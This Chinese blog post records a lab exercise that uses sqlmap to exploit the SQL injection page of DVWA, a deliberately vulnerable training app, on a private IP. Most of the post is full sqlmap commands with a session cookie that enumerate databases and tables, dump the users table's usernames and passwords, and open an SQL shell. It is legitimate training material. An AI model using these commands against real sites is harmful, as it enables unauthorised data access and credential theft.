当前位置: 代码迷 >> 综合 >> DVWA SQL Injection Sqlmap
  详细解决方案

DVWA SQL Injection Sqlmap

热度:35   发布时间:2024-01-18 00:12:31.0

记录使用Sqlmap完成自动化sql注入的实验过程,供自己参考

访问SQL注入页面,输入id,查看访问的URL为

http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#

使用Sqlmap进行注入测试,但是该URL必须登陆后才能访问,因此我们需要先拿到可以登录的凭证,有的站点认证信息在headers中携带,sqlmap支持加上--headers=HEADERS参数指定headers。假设我们现在拿到了网站的cookie,使用SQLmap带上cookie对目标进行注入测试。

进行注入测试

sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch

 测试发现后台数据库为MySQL数据库,版本大于5.0.12,后续注入可以通过参数 --dbms mysql指定数据库,在测试过程中如果session过期,使用--flush-session(Flush session files for current target)并携带新的cookie访问即可。

通过sqlmap获取数据库列表

sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ukpjh9lapj8tc2enhm941968u6" --batch --dbms mysql --random-agent --dbs

选择一个数据库,获取数据表

sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --random-agent -D dvwa --tables

 选择一个数据表,获取所有数据表的属性:

sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --random-agent -D dvwa -T users --columns

 指定数据表的字段,并dump出保存在本地

sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --random-agent -D dvwa -T users -C user,password --dump

本地查看数据:

 打开sql-shell并执行sql语句:

sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --sql-shell

  相关解决方案